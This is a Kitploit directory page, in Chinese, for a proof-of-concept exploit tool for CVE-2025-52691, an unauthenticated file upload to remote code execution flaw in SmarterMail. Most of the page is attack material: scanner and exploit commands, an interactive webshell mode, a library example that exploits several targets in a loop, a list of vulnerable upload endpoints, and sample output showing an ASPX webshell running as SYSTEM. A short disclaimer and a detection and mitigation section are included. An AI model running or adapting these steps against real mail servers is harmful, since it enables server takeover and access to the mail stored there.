Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-52691-poc — CVE-2025-52691 的概念验证利用工具:未经身份验证的任意文件上传导致 SmarterMail 中的远程代码执行(RCE)。包含漏洞扫描器、ASPX WebShell 上传器以及用于授权安全测试的交互式 shell。 | Kitploit
工具/GitHubGitHub/rimbadirgantara/cve-2025-52691-poc
漏洞扫描器Payload生成漏洞分析漏洞利用ShellcodeWeb应用程序漏洞利用渗透测试学习与教育

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHub
rimbadirgantara/cve-2025-52691-poc

CVE-2025-52691-poc

CVE-2025-52691 的概念验证利用工具:未经身份验证的任意文件上传导致 SmarterMail 中的远程代码执行(RCE)。包含漏洞扫描器、ASPX WebShell 上传器以及用于授权安全测试的交互式 shell。

查看仓库
338个月前尚未审核
分享

CVE-2025-52691 POC

CVE-2025-52691 概念验证 - SmarterMail 未认证任意文件上传导致远程代码执行

⚠️ 免责声明

仅用于授权的安全测试和教育目的。 未经授权的访问是违法的。

概述

SmarterMail 中的严重漏洞,允许未经认证的攻击者通过路径遍历上传任意文件,从而导致远程代码执行。

漏洞: 上传端点中的路径遍历允许将 ASPX 网页后门上传到 web 根目录
影响: 未认证远程代码执行
攻击向量: 网络/未认证

安装

root@kitploit:~
git clone https://github.com/yourusername/CVE-2025-52691-POC.git
cd CVE-2025-52691-POC
pip install requests urllib3

工具

check.py - 漏洞扫描器

扫描目标是否存在 CVE-2025-52691 漏洞。仅将有漏洞的 URL 保存到输出文件。

root@kitploit:~
# 单个目标
python check.py https://mail.example.com

# 多个目标
python check.py -f targets.txt -o results.txt

# 自定义超时
python check.py https://mail.example.com -t 30

结果文件中每行一个存在漏洞的 URL

输出:

pwn.py - 利用工具

上传 ASPX 网页后门并提供命令执行功能。

root@kitploit:~
# 基本利用
python pwn.py https://mail.example.com

# 执行命令
python pwn.py https://mail.example.com -c "whoami"

# 交互式 Shell
python pwn.py https://mail.example.com -i

exploit.py - Python 库

可重用的利用模块,用于集成到自定义脚本中。

作为库使用:

root@kitploit:~
from exploit import SmarterMailExploit, TargetConfig, ExploitResult

# 基本用法
config = TargetConfig(base_url="https://mail.example.com")
exploit = SmarterMailExploit(config)

if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
    print(exploit.execute_command("whoami"))

# 自定义超时
config = TargetConfig(base_url="https://mail.example.com", timeout=60)
exploit = SmarterMailExploit(config)
result = exploit.exploit()

# 执行多条命令
if result == ExploitResult.SHELL_UPLOADED:
    print(exploit.execute_command("whoami"))
    print(exploit.execute_command("hostname"))
    print(exploit.execute_command("ipconfig"))

作为独立脚本:

root@kitploit:~
# 在 Python 中导入并运行
python -c "from exploit import *; e=SmarterMailExploit(TargetConfig('https://mail.example.com')); e.exploit()"

# 创建自定义脚本
cat << 'EOF' > my_exploit.py
from exploit import SmarterMailExploit, TargetConfig, ExploitResult

targets = ['https://mail1.example.com', 'https://mail2.example.com']
for target in targets:
    config = TargetConfig(base_url=target)
    exploit = SmarterMailExploit(config)
    if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
        print(f"[+] Exploited: {target}")
        print(exploit.execute_command("whoami"))
EOF
python my_exploit.py

技术细节

存在漏洞的端点:

root@kitploit:~
/api/upload
/api/v1/upload
/Interface/Frmx/UploadFile.aspx
/MRS/Upload.ashx
/Services/Upload.ashx

利用方法:

  • Multipart 表单上传 + 路径遍历(../wwwroot/)
  • 带自定义标头的原始 POST
  • 包含 Base64 编码内容的 JSON 负载

网页后门: 通过 ?cmd= 参数接受命令的最小化 ASPX Shell

攻击流程

  1. 扫描目标:python check.py <target>
  2. 利用:python pwn.py <target> -i
  3. 在交互式 Shell 中执行命令

检测与缓解

检测手段:

  • 监控 ASPX 文件上传到 web 目录
  • 检查日志中的路径遍历模式(../)
  • 对意外的 /api/upload 请求发出告警

缓解措施:

  • 将 SmarterMail 更新到最新版本
  • 实施严格的文件路径验证
  • 部署具有上传过滤功能的 WAF
  • 对上传端点要求认证

示例

root@kitploit:~
$ python pwn.py https://mail.example.com -c "whoami"

[*] Target: https://mail.example.com
[+] Target is alive
[*] Shell filename: s4a7b3c2.aspx
[*] Attempting to upload webshell...
[+] SUCCESS! Webshell uploaded
[+] Shell URL: https://mail.example.com/s4a7b3c2.aspx

[*] Executing: whoami
[+] Output:
nt authority\system

在测试前务必获得适当授权。

下载工具